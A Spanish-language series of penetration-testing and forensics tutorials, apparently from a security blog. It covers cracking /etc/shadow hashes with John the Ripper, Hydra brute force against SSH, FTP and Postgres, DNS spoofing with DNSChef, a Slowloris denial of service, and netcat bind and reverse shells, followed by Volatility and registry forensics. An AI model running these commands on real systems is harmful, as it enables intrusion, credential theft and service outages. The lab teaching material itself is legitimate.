Ataque Local de Contraseñas utilizando John The Ripper

Body

Un ataque local de contraseñas depende en primera instancia de la habilidad para capturar los hashs desde un sistema objetivo. La manera de obtener estos datos es diversa, pero se requiere finalmente obtener los hashs de antemano.

Función Hash Criptográfica

Una función hash criptográfica es una función hash considerada como prácticamente imposible de revertir, es decir recrear el dato de entrada desde únicamente el valor hash. La entrada se denimina algunas veces como mensaje, y el valor hash es denominada frecuentemente como resumen del mensaje o simplemente resumen.

Función Hash

Una función hash es cualquier función que puede ser utilizada para mapear datos de tamaño arbitrario hacia datos de tamaño fijo, con lo cual pequeños cambios en los datos de entradas producen cambios muy grandes en los datos de salida. Los valores devuelto por una función hash son denominados como valores hash, códigos hash, sumas hash, o simplemente hashs.

Para la siguiente práctica se utilizará John The Ripper en Kali Linux, y la máquina virtual vulnerable Metasploitable2.

Se tiene acceso al sistema objetivo de evaluación con los permisos pertinentes para leer el archivo /etc/shadow.

cat /etc/shadow

Es de nuestro interés únicamente las cuentas de usuario que tienen asignada una contraseña. Se realiza para esto un sencillo filtrado usando el comando "grep".

grep '\$1\$' /etc/shadow

La información de los hashes capturados se copiarán a un archivo local en Kali Linux. Archivo contra el cual se ejecutará John The Ripper.

El modo más simple para ejecutar John The Ripper es utilizando la opción “--single”. El cual permite realizar un “cracking” sencillo. Las reglas utilizadas en este modo serán leídas desde la sección [List.Rules:Single] del archivo de configuración de John The Ripper.

# john --single hashes_m2

El modo “wordlist” o lista de palabras definida con la opción “--wordlist=”, permite la utilización de una lista de palabras.

# john --wordlist=/usr/share/wordlists/diccionario.txt hashes_m2

Con este último procedimiento realizado se han obtenido todas las contraseñas contenidas en el archivo. Se procede a visualizar está información utilizando la opción “--show”.

# john --show hashes_m2

Para las siguientes prácticas se utilizará los hashes de otro archivo “/etc/shadow” capturado desde otro sistema, al cual se le asigna el nombre “shadow1”.

Además de la opción “--wordlist=” se utiliza la opción “--rules”, la cual habilita las reglas de manipulación para la lista de palabras definida en el modo “wordlist”. Estas reglas son leídas de [List.Rules:Wordlist].

# john --wordlist=/usr/share/wordlists/diccionario.txt --rules shadow1

John The Ripper permite también utilizar el modo “Incremental” o Incremental, que es un símil a realizar un ataque por fuerza bruta usando todas las combinaciones posibles de un conjunto de caracteres para la construcción de posibles contraseñas. En la siguiente práctica se utiliza “alpha” para utilizar todas las letras del alfabeto. Este información se define en la sección [Incremental:MODE] del archivo de configuración.

# john --incremental:alpha shadow1

John The Ripper tiene también un modo “External” o Externo utilizando las funciones definidas en la sección [List.External:MODE].

Uno de los puntos resaltantes e importantes en el procedimiento de realizar ataques locales de contraseñas, es el hecho de utilizar buenos diccionarios o listas de palabras a medida para maximizar las probabilidades de obtener resultados satisfactorios.

Fuentes:

http://www.openwall.com/john/
http://en.wikipedia.org/wiki/Cryptographic_hash_function
http://en.wikipedia.org/wiki/Hash_function
http://www.kali.org/downloads/
http://sourceforge.net/projects/metasploitable/files/Metasploitable2/

Ataque Remoto de Contraseñas utilizando THC-Hydra

Body

En los ataques remotos de contraseñas se intenta hacer "login" o registrar el ingreso en un sistema a través de la red. En la fase correspondiente a la captura de información e identificación de vulnerabilidades existen altas probabilidades de haber capturado posibles nombres de usuarios "logins". En esta fase se utilizará esta información para intentar acceder al sistema como un usuario autorizado. THC-Hydra permite realizar un ataque por fuerza bruta de contraseñas contra servicios del sistema de manera remota.

THC-Hydra

Hydra es una herramienta que permite realizar ataques para intentar adivinar las contraseñas, el cual funciona en paralelo con soporte de diversos protocolos. Actualmente soporta Asterisk, Cisco auth, FTP, HTTP, IMAP, MS-SQL, MYSQL, entre muchos otros más. Para HTTP, POP3, IMAP y SMTP, incluye diversos mecanismos de login como Plain y MD5 digest, etc.

THC-Hydra es un código de prueba de concepto (PoC), para proporcionar a los investigadores y consultores en seguridad la posibilidad de mostrar cuan fácilmente se puede obtener acceso no autorizado remoto hacia un sistema.

Al momento realizar el presente escrito, Kali Linux no brinda la versión más reciente de THC-Hydra, por lo tanto se procede a descargar y compilar la versión más reciente desde la sitio web del proyecto.

# wget http://www.thc.org/releases/hydra-8.0.tar.gz

Descomprimir y desempaquetar el archivo descargado.

# tar xzvf hydra-8.0.tar.gz

Se configura, compila e instala hydra.

# ./configure
# make
# make install

Para las siguiente prácticas se utilizará una máquina virtual con Kali Linux y otra máquina virtual con Metasploitable2.

Mencionar un directorio importante en Kali Linux “/usr/share/wordlists”, donde se incluyen referencias a listas de palabras incluidas en otras herramientas, como metasploit, sqlmap, w3af, etc.

El directorio de nombre “metasploit” corresponde a Metasploit Framework, en el cual se incluyen diversos archivos conteniendo listas de palabras de usuarios y contraseñas. “/usr/share/metasploit-framework/data/wordlists”.

Se ejecuta THC-Hydra con la opción “-L” la cual permite definir un archivo conteniendo una lista de palabras de posibles usuarios del sistema. La opción “-P” define un archivo conteniendo una lista de palabras de posibles contraseñas para la lista de usuarios definidos con la opción “-L”. La opción "-t" define el número de conexiones en paralelo por objetivo, en este caso tres conexiones. En la parte final se define el texto “postgres” el cual es el nombre del servicio a atacar.

# hydra -t 3 -V -L /usr/share/metasploit-framework/data/wordlists/postgres_default_user.txt -P /usr/share/metasploit-framework/data/wordlists/postgres_default_pass.txt 192.168.0.16 postgres

En la siguiente práctica se utiliza la opción “-l”, la cual define un único “usuario” contra el cual se probarán todas las contraseñas contenidas en el archivo definido con la opción “-P”. Anotar que en este caso, una vez encontrada la contraseña para el usuario “root” el proceso culmina. En esta oportunidad se está acatando el servicio ssh.

# hydra -t 3 -V -l root -P /usr/share/wordlists/500-worst-passwords.txt 192.168.0.16 ssh

Una de las funcionalidades básicas pero en ciertos escenarios muy efectiva, es la definida utilizando la opción “-e”. Esta opción tiene tres parámetros, “s” para intentar el mismo login como contraseña, “n” para intentar una contraseña vacía, y “r” para invertir el login y utilizarlo como contraseña.

# hydra -t 3 -e nsr -V -L /usr/share/metasploit-framework/data/wordlists/unix_users.txt 192.168.0.16 ssh

Adicionalmente hydra tiene un modo de Fuerza Bruta definida utilizando la opción “-x”. En esta práctica se generarán contraseñas en minúsculas con una longitud mínima de 1 caracter y una longitud máxima de 3 caracteres. Además se define el ataque de un único usuario contra el servicio ftp.

# hydra -t 3 -l user -x 3:5:a -V 192.168.0.16 ftp

Los ataques remotos de contraseñas generan tráfico que puede activar los mecanismos de seguridad implementadas en los objetivos en evaluación. Una manera de evitar esto es reducir el número de pruebas o intentos a realizar, utilizando nombres de usuarios de los cuales se tenga una alta certeza de su existencia. Se sugiere también definir un tiempo considerable entre cada prueba a realizar. Además de utilizar listas personalizadas de nombres de usuarios y sus probables contraseñas generadas de la información capturada desde el objetivo de evaluación.

Fuentes:

https://www.thc.org/thc-hydra/
https://www.thc.org/thc-hydra/README
http://www.kali.org/downloads/
http://sourceforge.net/projects/metasploitable/files/Metasploitable2/

Verificar la Existencia de Rootkits utilizando Chkrootkit

Body

Chrootkit es una herramienta para realizar la verificación local de señales generados por Rootkits. Un rookit es un tipo de software oculto, típicamente malicioso, diseñado para ocultar su existencia de ciertos procesos o programas de los método normales de detección, permitiendo mantener un acceso privilegiado en una computadora. Chkrootkit está constituido por los siguientes componentes.

  • chkrootkit: Un script en shell que verifica los binarios del sistema modificados por un rootkit.
  • ifpromisc.c: Verifica si la interfaz de red está en modo promiscuo.
  • chklastlog.c: Verifica por eliminaciones realizadas en el archivo lastlog.
  • chkwtmp.c: Verifica por eliminaciones realizadas en el archivo wtmp.
  • check_wtmpx.c: Verifica por eliminaciones en wtmpx (Solo sistemas Solaris).
  • chkproc.c: Verifica por señales de troyanos LKM.
  • chkdirs.c: Verifica por señales de troyanos LKM.
  • strings.c: Reemplazo rápido y sucio de cadenas.
  • chkutmp.c: Verifica por eliminaciones en el archivo utmp.

chkwtmp y chklastlog “intentan” verificar las entradas eliminadas en los archivos “wtmp” y “lastlog”, pero esto no es garantía de que cualquier modificación será detectada.

Aliens intenta encontrar registros de sniffers y archivos de configuración de rootkits. Busca por algunas ubicaciones por defecto de archivos, por lo tanto tampoco es garantía de que sea satisfactorio en todos los casos.

Chkproc verifica si existen entradas en /proc ocultas de “ps” y llamadas al sistema “readdir”. Esto podría sea un indicador de un troyano LKM. También se puede ejecutar este comando por la opción “-v”.

LKM

LKM o por sus siglas en idioma inglés “Loadable Kernel Modules” son utilizados por el kernel de Linux para expandir su funcionalidad. La ventaja de estos LKMs es que pueden ser cargados dinámicamente, por lo que no se requiere la recompilación de todo el kernel. Debido a estas características son frecuentemente utilizados para controladores de dispositivos (o sistemas de archivos) como tarjetas de sonido, entre otros. Esta funcionalidad es aprovechada por los atacantes para apropiarse de un sistema insertando un LKM infectado o un troyano LKM.

Para la siguiente práctica se utilizará una máquina virtual vulnerable de nombre “Metasploitable”.

Se descarga la versión más reciente de Chkrootkit.

Se descomprime y desempaqueta el archivo descargado.

Se compilan los programas en C.

# make sense

Chkrootkit esta listo para ser utilizado. Mencionar que chkrootkit debe ser ejecutado con los privilegios del usuario "root". La manera más sencilla de ejecutarlo es escribiendo el nombre de la herramienta sin opciones.

# ./chkrootkit

Al finalizar la ejecución de chkrootkit se expondrán los resultados obtenidos.

Chkrootkit también puede ser invocado con “testname” o los nombres de las pruebas a realizar. En el siguiente comando se definen tres pruebas a los binarios “date”, “echo” e “ifconfig”

# ./chkrootkit date echo ifconfig

Si el usuario requiere realizar el análisis de cadenas sospechosas en lo programas binarios que indiquen la presencia de un troyano, se debe utilizar la opción “-x”

# ./chkrootkit -x | less

Otra opción interesante de chkrootkit es permitir el uso de una ruta alternativa desde donde se leerán los archivos binarios a ser utilizados en el análisis. Esta opción es muy útil cuando no se confían en los archivos binarios de un sistema comprometido. En el siguiente comando los archivo binarios "confiables" serán leídos desde el directorio /mnt/usb/bin, el cual puede ser el punto de montaje de una unidad USB.

# ./chkrootkit -p /mnt/usb/bin

Fuentes:

http://www.chkrootkit.org/
http://en.wikipedia.org/wiki/Rootkit
http://www.chkrootkit.org/README
https://www.thc.org/papers/LKM_HACKING.html

Utilizar DNSChef para crear un DNS Falso

Body

DNSChef es un proxy DNS altamente configurable para Pruebas de Penetración y Análisis de Malware. Un proxy DNS (un “DNS Falso”) es una herramienta utilizada para analizar el tráfico de red de aplicaciones entre otros usos. Por ejemplo, un proxy DNS puede ser utilizado para falsificar solicitudes para “dominio.com” y de esta manera apuntar a una máquina local provocando su terminación o interceptación, en lugar del host real ubicado en algún lugar de Internet.

DNSChef es una aplicación capaz de falsificar respuestas basado en listas de dominios inclusivas o exlusivas, soportar varios tipos de registros DNS, corresponder dominios con comodín, "proxear" respuestas verdaderas para dominios no correspondientes, definir archivos externos de configuración, soportar IPv6, entre muchas otras características.

La utilización de un Proxy DNS se recomienda en situaciones donde no es posible forzar el uso de algún otro servidor proxy directamente en una aplicación. En estos casos, el uso de un servidor proxy DNS tal como DNSChef permitirá engañar a la aplicación para reenviar conexiones al destino requerido.

Al momento de publicar el presente escrito la versión de DNSChef incluida en Kali Linux es la 0.1. Por lo tanto se procede a descargar la versión más reciente de DNSChef desde la sitio web del proyecto.

Ejecutar DNSChef

DNSChef está escrita en Python, el cual puede ser ejecutado en la mayoría de plataformas que incluyan el interprete de Python.

# dnschef

Al ejecutar DNSChef sin parámetros se ejecutará completamente en modo proxy. Esto implica que todas las peticiones serán sencillamente reenviadas hacía un servidor DNS (Por defecto 8.8.8.8) y retornadas al host solicitante.

Al realizar una consulta utilizando el comando “host” utilizando la opción “-t” para seleccionar el tipo de consulta a realizar, y la dirección IP del Servidor DNS, DNSChef imprimirá una línea de registro mostrando el tiempo, la dirección IP fuente, tipo de registro solicitado y el nombre solicitado.

# host -t A reydes.com 127.0.0.1

Interceptar todas las respuestas

Se ejecuta DNSChef para falsificar todas las respuestas apuntando a la dirección IP 192.168.0.12, utilizando el parámetro “--fakeip”.

# dnschef --fakeip 192.168.0.12 -q

Se procede a realizar la consulta nuevamente al dominio utilizado en el ejemplo anterior. En el resultado se observa que DNSChef proxea todas las solicitudes a la dirección IP 192.168.0.12. La primera línea cumple este criterio, sin embargo, otras solicitudes, como el registro MX son proxeados desde el servidor DNS real.

Para falsificar las respuestas de las solicitudes realizadas a los tipos de registro AAAA y MX, se utiliza la opción “--fakeipv6” y la opción “--fakemail”. Al realizar nuevamente la solicitud se pueden visualizar los cambios generados en la respuesta devuelta por DNSChef.

Para la siguiente práctica se utilizará un sistema victima”, en la cual se ha cambiado la información de sus servidores de nombres para apuntar al servidor ejecutando DNSChef.

En esta ocasión se ejecuta DNSChef con la opción “--interface=” la cual permite definir la interfaz a utilizar para la atención del DNS. Se utiliza la dirección IP interna asignada a Kali Linux, y de esta manera atender las solicitudes realizadas por otras máquinas de la misma subred.


# python dnschef.py --interface=192.168.0.12 --fakeip 200.200.200.200 --fakeipv6 ::1 --fakemail correo.dominioatacante.com -q

Se realiza una consulta DNS por cualquier dominio desde el sistema “victima”.

En los resultados se visualizan los datos “falsificados” que se ha indicado a DNSChef retornar.

Sugiero revisar la documentación de la herramienta, donde se expone la manera de realizar filtrado de dominios, filtrado inverso, utilizar un archivo externo con definiciones, y técnicas más avanzadas de filtrado.

Fuentes:

https://thesprawl.org/projects/dnschef/
http://tools.ietf.org/html/rfc1034

Ataque de Negación de Servicio HTTP utilizando Slowloris

Body

Este es una ataque de negación de servicios lenta contra un servicio particular, en lugar de inundar las redes, es un concepto emergente que podría permitir a una sola máquina hacer caer el servidor web de otra máquina con un mínimo uso de ancho de banda y con efectos sobre servicios y puertos no relacionados. La situación ideal para varios ataques de negación de servicio es cuando todos los servicios permanecen intactos pero el servidor web por si mismo es inaccesible completamente. Slowloris nace de este concepto, y es por lo tanto relativamente oculto comparado con la mayoría de herramientas para inundación.

Se procede a descargar Slowloris desde la página oficial.

Slowloris maneja conexiones abiertas enviando peticiones HTTP parciales. Este continúa enviando cabeceras subsecuentes a intervalos regulares para mantener los sockets. De esta manera los servidores web pueden ser rápidamente atados. En particular los servidores web que tienen hilos tienden a ser vulnerables, por virtud del hecho de que intentan limitar la cantidad de hilos que permiten. Slowloris debe esperar a que todos los sockets estén disponibles antes de que sean satisfactoriamente consumidos, así es que si trata de un sitio web con alto tráfico, puede tomar un momento para que el sitio libere sockets. De esta manera mientras no se es capaz de ver el sitio web desde un punto de vista, otros podrían ser capaces de verlo hasta que todos los sockets sean liberados para ser consumidos por Slowloris. Esto se debe a que otros usuarios del sistema deben finalizar sus peticiones antes de que los sockets estén disponibles para ser consumidos por Slowloris. Si otros reinician sus conexión en un corto periodo de tiempo estos serán capaces de ver el sitio. Así esto es un poco como una condición de carrera, pero una en el cual Slowloris eventualmente siempre ganará, más pronto que tarde.

Se procede a ejecutar Slowloris. De no ser especificado el puerto, será utilizado por defecto el puerto 80.

# perl slowloris.pl -dns 192.168.0.27

Slowloris inicia su labor construyendo los sockets y enviando paquetes al objetivo.

En el objetivo de evaluación se visualiza parte de las conexiones establecidas.

Slowloris permite al servidor web retornar a la normalidad casi instantáneamente (usualmente dentro de 5 segundos o más). Esto lo hace ideal para ciertos ataques que pueden solo requerir un corto tiempo de caída, donde el tiempo es la clave, o como una táctica de diversión.

Slowloris afecta un número de servidores web que usan procesos por hilos e irónicamente intenta limitar esto para prevenir el consumo total de la memoria – solucionando un problema crea otro. Esto incluye pero no está necesariamente limitado a los siguientes. Apache 1.x, Apache 2.x, dhttd, GoAhead WebServer , entre otros sin confirmar. No son afectados IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, entre otros.

Fuentes:

http://ha.ckers.org/slowloris/
http://www.securityfocus.com/archive/1/456339/30/0/threaded
http://ha.ckers.org/blog/20090504/using-denial-of-service-for-hacking/

Utilizar las Reglas Personalizadas de KoreLogic en John The Ripper

Body

KoreLogic utiliza una diversidad de reglas personalizadas para generar contraseñas. Este mismas reglas pueden ser utilizadas para “romper” contraseñas en entornos corporativos, las cuales fueron originalmente creadas debido a que el conjunto de reglas o “ruleset” de John The Ripper falla en romper contraseñas con patrones más complejos. John The Ripper es una herramienta para "Romper" contraseñas, el cual está disponible para diversas plataformas, cuyo propósito principal es detectar contraseñas débiles.

Para utilizar este nuevo conjunto de reglas en John The Ripper se descarga el archivo de nombre “rules.txt” desde la página del proyecto.

Visualizar parte del archivo “rules.txt”

# cat /opt/rules.txt

Se añade al archivo de configuración de John The Ripper de nombre “john.conf” las nuevas reglas. Se sugiere crear primero una copia de respaldo del archivo original "john.conf".

# cat /opt/rules.txt >> john.conf

Algunas de las nuevas reglas sugieren su utilización con “wordlists” o listas de palabras específicas. Estas listas de palabras pueden ser localizadas también en el mismo sitio web del proyecto. Se descargan dos de estos archivos (2EVERYTHING.dic y 3EVERYTHING.dic.gz).

Ejecutar John The Ripper para utilizar las nuevas reglas añadidas de KoreLogic. La opción “-w” permite definir el nombre de un archivo conteniendo una lista de palabras, la opción “--format” define el tipo de hashs que se intentarán “romper”, y la opción “--rules” habilita las reglas de manipulación de palabras para el modo “wordlist” de John The Ripper definida con la opción “-w”.

# john -w:/usr/share/wordlists/3EVERYTHING.dic --format:nt --rules:KoreLogicRulesAdd2010Everywhere /root/hashs_windows7

Sugiero revisar la información sobre la sintaxis de las reglas para las listas de palabras que utiliza John The Ripper al unísono del archivo “rules.txt”, para comprender mejor el propósito de cada nueva regla de KoreLogic.

Fuentes:

http://contest-2010.korelogic.com/rules.html
http://contest-2010.korelogic.com/wordlists.html
http://www.openwall.com/john/
http://openwall.info/wiki/john/rules

Utilizar Netcat para crear un Shell Directo y un Shell Reverso

Body

Netcat es una utilidad de red, el cual permite leer y escribir datos a través de conexiones de red, utilizando el protocolo TCP/IP y UDP. Netcat es la herramienta ideal para crear shells directos y reversos durante una Prueba de Penetración, en la cual no es factible utilizar una herramienta como Meterpreter. De esta manera utilizando las funcionalidades que proporciona netcat será factible acceder en modo línea de comando al sistema objetivo.

Para la siguiente práctica se utilizará Kali Linux como “atacante” y un Sistema Windows 7 como el objetivo de evaluación. En ambas máquinas se tiene instalada una versión de netcat. Mencionar adicionalmente que este escenario implica haber obtener un acceso previo en el objetivo de evaluación.

Shell Directo

En este escenario el objetivo de evaluación tiene netcat funcionando en modo de atención o escucha. Para crear u canal de comunicación, la conexión se realiza desde el Sistema Kali Linux o desde el “atacante”.

En Windows 7 (Objetivo de Evaluación)

C:\>nc -v -n -l -p 7777 -e cmd.exe

En Kali Linux (El Atacante)

# nc -n -v 192.168.0.15 7777

Después de ejecutado netcat en Kali Linux se tiene un acceso shell en el Sistema Windows 7.

Shell Reverso

No siempre será factible tener acceso al objetivo de evaluación si se está localizado en una red externa. Un Shell Reverso permite intentar la conexión hacia sistema “atacante”, es decir el sistema atacante ejecutará netcat en modo de escucha o atención y el objetivo de evaluación intentará conectarse hacia el sistema atacante.

En Kali Linux

# nc -n -v -l -p 8888

En Windows 7

C:\>nc -n -v 192.168.0.12 8888 -e cmd.exe

Ejecutado el comando netcat en el Sistema Windows 7, se desplegará en Kali Linux una shell.

Un shell reverso puede prevenir el bloqueo o filtrado de la conexión por parte de un firewall. Dado que la mayoría de firewalls permiten conexiones salientes, y un shell reverso se origina desde el interior de la red, será factible que la “victima” se conecte al “atacante”.

Fuentes:

http://netcat.sourceforge.net/
http://www.sans.org/security-resources/sec560/netcat_cheat_sheet_v1.pdf

Análisis Forense a la Memoria de Windows XP con Volatility Framework

Body

El análisis de la memoria física de un sistema Windows puede proporcionar información significativa y valiosa sobre el sistema operativo. Es una práctica recomendada capturar una imagen de la memoria durante una respuesta de incidentes. El análisis posterior puede ser realizado de manera básica utilizando herramientas que permitan extraer “cadenas” desde la imagen forense, o utilizar herramientas o framework más evolucionados como “The Volatility Framework”.

The Volatility Framework

The Volatility Framework es una colección de herramientas completamente open source implementadas en Python, para la extracción de artefactos digitales desde muestras de memoria (RAM) volátil. Las técnicas de extracción son realizadas de manera completamente independiente del sistema en investigación pero ofrece una visibilidad sin precedentes en el estado de funcionamiento del sistema. El framework pretende introducir a las personas en las técnicas y complejidades asociadas con la extracción de artefactos digitales desde muestras de memoria volátil y proporcionar una plataforma para seguir trabajando en esta excitante área de investigación.

Volatility soporta volcados de memoria desde las principales versiones de Windows de 32 y 64 bits además de services packs. Si el volcado de memoria es un formato “raw” o bruto, un volcado Microsoft de una caída, un archivo de hibernación, o una instantánea de una máquina virtual, Volatility es capaz de trabajar con estas. También tiene soporte para volcados de memoria en Linux en formatos “raw” en bruto o LiME. Y soporte para volcados de memoria de Mac OSX y teléfonos Android con procesadores ARM.

Para la siguiente práctica se utilizará una imagen de memoria capturada desde un Sistema Windows XP SP3.

Para obtener un resumen de alto nivel de la muestra de memoria en análisis, utilizar el comando “imgeinfo”.

$ sudo vol.py imageinfo -f MemoriaWindowsXPSP3.001

Para listar los procesos de un sistema, utilizar el comando “pslist”.

$ sudo vol.py pslist -f MemoriaWindowsXPSP3.001

Para visualizar las conexión TCP que estuvieron activas en el momento de la adquisición de la memoria, utilizar el comando “connections”.

$ sudo vol.py connections -f MemoriaWindowsXPSP3.001

Para encontrar las direcciones virtuales de las colmenas “hives” del registro en memoria, y las rutas completas al correspondiente “hive” o colmena en el disco, utilizar el comando “hivelist”

$ sudo vol.py hivelist -f MemoriaWindowsXPSP3.001

Volatility Framework tiene una amplia cantidad de “pluings” los cuales pueden se utilizados para realizar la identificación de la imagen, obtener información de los procesos y DLLs, información de los procesos de Memoria, Memoria del Kernel y Objetos, Redes, Registro, Volcados de caídas, Hibernación, y Conversión, Sistema de Archivos, y otros.

Fuentes:

http://www.forensicswiki.org/wiki/Windows_Memory_Analysis
https://code.google.com/p/volatility/
http://code.google.com/p/volatility/wiki/VolatilityIntroduction?tm=6
https://code.google.com/p/volatility/wiki/CommandReference23

Extraer Información del Registro de Windows con Registry Viewer

Body

AccessData Registry Viewer permite visualizar el contenido de los registros de sistemas Windows. A diferencia del editor de registro de Windows, el cual muestra solo el registro del sistema actual, Registry Viewer permite visualizar los archivos de registro de cualquier sistema. Registry Viewer también permite acceder al almacenamiento protegido del registro, el cual contiene contraseñas, nombres de usuario, y otra información no factible de acceder con el editor de registro de Windows.

Registry Viewer proporciona diversas herramientas para obtener y reportar información importante del registro. La vista completa del registro muestra todos los contenidos de un archivo de registro, mientras las áreas comunes muestran solo aquellas secciones del registro más probables de contener datos significativos. Desde cualquier vista se puede seleccionar llaves y subllaves para añadirlas a un reporte. La vista del Reporte muestra aquellas llaves seleccionadas, permitiendo imprimir solo la información relevante. Todas las vistas también contienen dos paneles de detalle: un visor de propiedades de la llave y un visor hexadecimal. El visor de propiedades de la llave muestra cualquier valor de propiedad asociado con una llave seleccionada, mientras que el visor hexadecimal muestra un valor seleccionado en formato hexadecimal.

Ejecutar AccessData Registry Viewer.

El mensaje presentado se origina a razón de que Registry Viewer requiere un “dongle” para acceder a todas las características del programa. Si un “dongle” válido no está instalado cuando se inicia el programa, este se ejecutará en modo “Demo”. Para ello se procede a hacer clic en el botón de nombre “Sí”. En la siguiente ventana solo hacer clic en el botón “Cancel”.

Será presentada una nueva ventana donde se indica que no se ha encontrado un “Dongle” y por lo tanto Registry Viewer operará en modo Demo. Hacer clic en el botón “Aceptar”.

Access Data Registry Viewer ya está en funcionamiento.

Para la siguiente práctica se ha montado la imagen forense capturada desde el disco duro de un Sistema Windows 7, y se procederá a abrir el archivo “hive” o colmena de nombre “SAM”. Este archivo maneja las cuentas de usuario y las configuraciones de seguridad.

Hacer clic en la opción “File -> Open”.

Recorrer los directorios pertinentes dentro de la imagen forense montada para ubicar y seleccionar el archivo de nombre “SAM”. Luego hacer clic en el botón de nombre “Abrir”.

Access Data Registry Viewer interpretará y mostrará toda la información pertinente extraída del archivo "hive" o colmena "SAM". Queda a consideración del análista forense utilizar la herramienta para realizar su investigación.

Fuentes:

http://www.accessdata.com/support/product-downloads
http://support.microsoft.com/kb/256986

Forense a UserAssist en Windows

Body

UserAssist es una característica en Windows, la cual permite rastrear el uso de las aplicaciones, accesos directos, y otros ítemes por su frecuencia de uso y último momento de uso. Captura las acciones del usuario hasta que algo o alguien elimine las entradas del registro o deshabilite los registros. Las entradas de UserAssist están cifradas con ROT13, el cual es muy sencillo de descifrar. Esta entradas se almacenan en el archivo de registtro NTUSER.DAT de cada uno de los usuarios del sistema.

Desde el UserAssist se puede determinar la frecuencia de la ejecución de un programa por el usuario, la última vez que el programa se ejecutó, desde donde los ítemes fueron ejecutados más frecuentemente, cambios en la fecha y hora del sistema, evidencia de programas después de su borrado o desinstalación, por cuanto tiempo un usuario interactuó con un programa (Windows 7), y Evidencia de ausencia.

Para la siguiente práctica se utilizará la imagen forense obtenida desde el disco duro de un Sistema Windows XP, y SIFT.

La disposición típica en un Sistema Windows XP de la llave UserAssist es en:

{5E6AB780-7743-11CF-A12B-00AA004AE837}\Count
{75048700-EF1F-11D0-9888-006097DEACF9}\Count

Estos dos números GUID son globalmente únicos y son los mismos entre diferentes plataformas. Dentro de cada GUID existe una llave de nombre “Count”.

Se utiliza la herramienta Reglookup para consultar la llave del archivo de registro pertinente.

$ reglookup -p /Software/Microsoft/Windows/CurrentVersion/Explorer/UserAssist /mnt/windows_mount3/Documents\ and\ Settings/mario/NTUSER.DAT

ROT-13

ROT13 es un cifrado de substitución simple que reemplaza una letra con la letra que se ubica a 13 posiciones siguientes en el alfabeto. ROT13 es una ejemplo del cifrado Cesar, desarrollado en la antigua Roma.

Se procede a decodificar el contenido en ROT-13 en la siguiente llave.


/Software/Microsoft/Windows/CurrentVersion/Explorer/UserAssist/{75048700-EF1F-11D0-9888-006097DEACF9}/Count/HRZR_EHACNGU:P:\x5CJVAQBJF\x5Cflfgrz32\x5Cpzq.rkr,BINARY,\x05\x00\x00\x00\x06\x00\x00\x00\xB0\xD3\xEC\xA9&>\xCA\x01

Codificado en ROT-13:

HRZR_EHACNGU:P:\x5CJVAQBJF\x5Cflfgrz32\x5Cpzq.rkr

Antes de realizar la decodificación mencionar que el valor \x5C en hexadecimal corresponde al símbolo en ASCII “\” (Back Slash).

La decodificación desde ROT-13, se puede realizar con el comando “tr” en Linux. Luego de reemplazar los espacios en blanco por el símbolo “\”.

$ echo "HRZR_EHACNGU:P: JVAQBJF flfgrz32 pzq.rkr" | tr 'A-Za-z' 'N-ZA-Mn-za-m'

El resultado es:

UEME_RUNPATH:C:\WINDOWS\system32\cmd.exe

La entrada “UEME_RUNPATH” mantiene datos sobre los programas ejecutados.

Otra manera sencilla de obtener la información del UserAssist es utilizar la herramienta Access Data Registry Viewer.

Para la siguiente práctica se utiliza la imagen forense obtenida desde el disco duro de un sistema Windows 7.

Para el escenario de un Sistema Operativo Windows 7, la disposición típica de la llave UserAssist es como sigue:

{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\Count
{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\Count

Se realiza la consulta a la llave del registro pertinente utilizando la herramienta Reglookup.

$ reglookup -p /Software/Microsoft/Windows/CurrentVersion/Explorer/UserAssist/{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F} /mnt/windows_mount1/Users/issa/NTUSER.DAT

También es factible utilizar la herramienta RegRipper para extraer, interpretar y analizar el UserAssist de este Sistema Windows 7.

$ sudo rip.pl -p userassist -r /mnt/windows_mount1/Users/issa/NTUSER.DAT

Los valores en el registro de UserAssist entre Windows XP y Windows 7 tienen estructuras binarias diferentes. En el caso de Window 7 se añade el tiempo de la interacción o enfoque de la aplicación; menores cambios a los desplazamientos del tiempo.

Existen los prefijos “UEME_” en Windows XP, pero estos son inexistentes en Windows 7. La “Cuenta de Ejecución” inicia con el número “5” en lugar del número “0”. La mayoría de herramientas UserAssist convierten este número para aliviar la cuenta de ejecuciones adicionales, esto está solucionado en Windows 7.

Se mantiene un rastro del número veces en el cual una aplicación/applet se ejecutó (mediante acceso directo, Shell, panel de control, etc.); esto influencia cuales ítemes son automáticamente listados en el menú de inicio (programas utilizados más frecuentemente) para cada usuario. Esto difiere de la cuenta de ejecuciones de Prefetch, pues no es específica para cada usuario, como si lo es la cuenta de UserAssist.

Y puede mantener un rastro de como se ejecutó un programa (más fácil de determinar sobre Widows XP).

Fuentes:

http://forensicartifacts.com/2010/07/userassist/
http://forensicsfromthesausagefactory.blogspot.com/2010/05/prefetch-and…
http://en.wikipedia.org/wiki/ROT13
http://www.4n6k.com/2013/05/userassist-forensics-timelines.html
http://www.accessdata.com/supplemental-class-material
http://www.accessdata.com/support/product-downloads
http://projects.sentinelchicken.org/reglookup/
https://code.google.com/p/regripper/wiki/RegRipper